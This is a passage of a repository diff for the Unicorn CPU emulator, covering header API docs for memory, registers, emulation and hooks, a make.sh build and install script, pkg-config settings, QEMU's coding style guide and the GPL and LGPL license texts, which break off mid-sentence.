Read register value.
@handle: handle returned by uc_open()
@regid: register ID that is to be retrieved.
@value: pointer to a variable storing the register value.
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_reg_read(uch handle, int regid, void *value);
/*
Write to a range of bytes in memory.
@handle: handle returned by uc_open()
@address: starting memory address of bytes to set.
@bytes: pointer to a variable containing data to be written to memory.
@size: size of memory to write to.
NOTE: @bytes must be big enough to contain @size bytes.
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_mem_write(uch handle, uint64_t address, uint8_t *bytes, size_t size);
/*
Read a range of bytes in memory.
@handle: handle returned by uc_open()
@address: starting memory address of bytes to get.
@bytes: pointer to a variable containing data copied from memory.
@size: size of memory to read.
NOTE: @bytes must be big enough to contain @size bytes.
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_mem_read(uch handle, uint64_t address, uint8_t *bytes, size_t size);
/*
Emulate machine code in a specific duration of time.
@handle: handle returned by uc_open()
@begin: address where emulation starts
@until: address where emulation stops (i.e when this address is hit)
@timeout: duration to emulate the code (in microseconds). When this value is 0,
we will emulate the code in infinite time, until the code is finished.
@count: the number of instructions to be emulated. When this value is 0,
we will emulate all the code available, until the code is finished.
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_emu_start(uch handle, uint64_t begin, uint64_t until, uint64_t timeout, size_t count);
/*
Stop emulation (which was started by uc_emu_start() API.
This is typically called from callback functions registered via tracing APIs.
NOTE: for now, this will stop the execution only after the current block.
@handle: handle returned by uc_open()
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_emu_stop(uch handle);
/*
Register callback for a hook event.
The callback will be run when the hook event is hit.
@handle: handle returned by uc_open()
@h2: hook handle returned from this registration. To be used in uc_hook_del() API
@type: hook type
@callback: callback to be run when instruction is hit
@user_data: user-defined data. This will be passed to callback function in its
last argument @user_data
@...: variable arguments (depending on @type)
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_hook_add(uch handle, uch *h2, uc_hook_t type, void *callback, void *user_data, ...);
/*
Unregister (remove) a hook callback.
This API removes the hook callback registered by uc_hook_add().
NOTE: this should be called only when you no longer want to trace.
After this, @hhandle is invalid, and nolonger usable.
@handle: handle returned by uc_open()
@h2: handle returned by uc_hook_add()
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_hook_del(uch handle, uch *h2);
/*
Map memory in for emulation.
This API adds a memory region that can be used by emulation.
@handle: handle returned by uc_open()
@address: starting address of the new memory region to be mapped in.
@size: size of the new memory region to be mapped in. This will be round up to
the next 8KB boundary.
@return UC_ERR_OK on success, or other value on failure (refer to uc_err enum
for detailed error).
*/
UNICORN_EXPORT
uc_err uc_mem_map(uch handle, uint64_t address, size_t size);
#ifdef __cplusplus
}
#endif
#endif

1416
include/unicorn/x86.h Normal file

File diff suppressed because it is too large Load diff

108
make.sh Executable file
View file

@ -0,0 +1,108 @@
#!/bin/sh
# Unicorn Engine
# By Nguyen Anh Quynh <aquynh@gmail.com>, 2015
# Note: to cross-compile to Windows on Linux, Mingw-glib2 is required.
# See README on how to install Mingw-glib2.
MAKE_JOBS=$((${MAKE_JOBS}+0))
[ ${MAKE_JOBS} -lt 1 ] && \
MAKE_JOBS=4
# build iOS lib for all iDevices, or only specific device
build_iOS() {
IOS_SDK=`xcrun --sdk iphoneos --show-sdk-path`
IOS_CC=`xcrun --sdk iphoneos -f clang`
IOS_CFLAGS="-Os -Wimplicit -isysroot $IOS_SDK"
IOS_LDFLAGS="-isysroot $IOS_SDK"
if [ -z "$1" ]; then
# build for all iDevices
IOS_ARCHS="armv7 armv7s arm64"
else
IOS_ARCHS="$1"
fi
CC="$IOS_CC" \
CFLAGS="$IOS_CFLAGS" \
LDFLAGS="$IOS_LDFLAGS" \
LIBARCHS="$IOS_ARCHS" \
${MAKE}
}
build() {
[ "$UNAME" = Darwin ] && LIBARCHS="i386 x86_64"
${MAKE}
}
build_cross() {
[ "$UNAME" = Darwin ] && LIBARCHS="i386 x86_64"
CROSS=$1
CC=$CROSS-gcc \
AR=$CROSS-ar \
RANLIB=$CROSS-ranlib \
GLIB="-L/usr/$CROSS/lib/ -lglib-2.0" \
${MAKE}
}
install() {
# Mac OSX needs to find the right directory for pkgconfig
if [ "$UNAME" = Darwin ]; then
# we are going to install into /usr/local, so remove old installs under /usr
rm -rf /usr/lib/libunicorn*
rm -rf /usr/include/unicorn
# install into /usr/local
PREFIX=/usr/local
${MAKE} install
else # not OSX
test -d /usr/lib64 && ${MAKE} LIBDIRARCH=lib64
${MAKE} install
fi
}
uninstall() {
# Mac OSX needs to find the right directory for pkgconfig
if [ "$UNAME" = "Darwin" ]; then
# find the directory automatically, so we can support both Macport & Brew
PKGCFGDIR="$(pkg-config --variable pc_path pkg-config | cut -d ':' -f 1)"
PREFIX=/usr/local
${MAKE} uninstall
else # not OSX
test -d /usr/lib64 && LIBDIRARCH=lib64
${MAKE} uninstall
fi
}
if [ "$UNAME" = SunOS ]; then
[ -z "${MAKE}" ] && MAKE=gmake
INSTALL_BIN=ginstall
CC=gcc
fi
if [ -n "`echo "$UNAME" | grep BSD`" ]; then
MAKE=gmake
PREFIX=/usr/local
fi
[ -z "${UNAME}" ] && UNAME=$(uname)
[ -z "${MAKE}" ] && MAKE=make
#[ -n "${MAKE_JOBS}" ] && MAKE="$MAKE -j${MAKE_JOBS}"
export CC INSTALL_BIN PREFIX PKGCFGDIR LIBDIRARCH LIBARCHS CFLAGS LDFLAGS
case "$1" in
"" ) build;;
"default" ) build;;
"install" ) install;;
"uninstall" ) uninstall;;
"cross-win32" ) build_cross i686-w64-mingw32;;
"cross-win64" ) build_cross x86_64-w64-mingw32;;
"cross-android" ) CROSS=arm-linux-androideabi build;;
"clang" ) CC=clang build;;
"gcc" ) CC=gcc build;;
"ios" ) build_iOS;;
"ios_armv7" ) build_iOS armv7;;
"ios_armv7s" ) build_iOS armv7s;;
"ios_arm64" ) build_iOS arm64;;
* )
echo "Usage: $0 ["`grep '^ "' $0 | cut -d '"' -f 2 | tr "\\n" "|"`"]"
exit 1;;
esac

9
pkgconfig.mk Normal file
View file

@ -0,0 +1,9 @@
# Package version of Unicorn for Makefile.
# To be used to generate unicorn.pc for pkg-config
# version major & minor
PKG_MAJOR = 0
PKG_MINOR = 9
# version bugfix level. Example: PKG_EXTRA = 1
PKG_EXTRA =

107
qemu/CODING_STYLE Normal file
View file

@ -0,0 +1,107 @@
QEMU Coding Style
=================
Please use the script checkpatch.pl in the scripts directory to check
patches before submitting.
1. Whitespace
Of course, the most important aspect in any coding style is whitespace.
Crusty old coders who have trouble spotting the glasses on their noses
can tell the difference between a tab and eight spaces from a distance
of approximately fifteen parsecs. Many a flamewar have been fought and
lost on this issue.
QEMU indents are four spaces. Tabs are never used, except in Makefiles
where they have been irreversibly coded into the syntax.
Spaces of course are superior to tabs because:
- You have just one way to specify whitespace, not two. Ambiguity breeds
mistakes.
- The confusion surrounding 'use tabs to indent, spaces to justify' is gone.
- Tab indents push your code to the right, making your screen seriously
unbalanced.
- Tabs will be rendered incorrectly on editors who are misconfigured not
to use tab stops of eight positions.
- Tabs are rendered badly in patches, causing off-by-one errors in almost
every line.
- It is the QEMU coding style.
Do not leave whitespace dangling off the ends of lines.
2. Line width
Lines are 80 characters; not longer.
Rationale:
- Some people like to tile their 24" screens with a 6x4 matrix of 80x24
xterms and use vi in all of them. The best way to punish them is to
let them keep doing it.
- Code and especially patches is much more readable if limited to a sane
line length. Eighty is traditional.
- It is the QEMU coding style.
3. Naming
Variables are lower_case_with_underscores; easy to type and read. Structured
type names are in CamelCase; harder to type but standing out. Enum type
names and function type names should also be in CamelCase. Scalar type
names are lower_case_with_underscores_ending_with_a_t, like the POSIX
uint64_t and family. Note that this last convention contradicts POSIX
and is therefore likely to be changed.
When wrapping standard library functions, use the prefix qemu_ to alert
readers that they are seeing a wrapped version; otherwise avoid this prefix.
4. Block structure
Every indented statement is braced; even if the block contains just one
statement. The opening brace is on the line that contains the control
flow statement that introduces the new block; the closing brace is on the
same line as the else keyword, or on a line by itself if there is no else
keyword. Example:
if (a == 5) {
printf("a was 5.\n");
} else if (a == 6) {
printf("a was 6.\n");
} else {
printf("a was something else entirely.\n");
}
Note that 'else if' is considered a single statement; otherwise a long if/
else if/else if/.../else sequence would need an indent for every else
statement.
An exception is the opening brace for a function; for reasons of tradition
and clarity it comes on a line by itself:
void a_function(void)
{
do_something();
}
Rationale: a consistent (except for functions...) bracing style reduces
ambiguity and avoids needless churn when lines are added or removed.
Furthermore, it is the QEMU coding style.
5. Declarations
Mixed declarations (interleaving statements and declarations within blocks)
are not allowed; declarations should be at the beginning of blocks. In other
words, the code should not generate warnings if using GCC's
-Wdeclaration-after-statement option.
6. Conditional statements
When comparing a variable for (in)equality with a constant, list the
constant on the right, as in:
if (a == 1) {
/* Reads like: "If a equals 1" */
do_something();
}
Rationale: Yoda conditions (as in 'if (1 == a)') are awkward to read.
Besides, good compilers already warn users when '==' is mis-typed as '=',
even when the constant is on the right.

339
qemu/COPYING Normal file
View file

@ -0,0 +1,339 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License.

504
qemu/COPYING.LIB Normal file
View file

@ -0,0 +1,504 @@
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
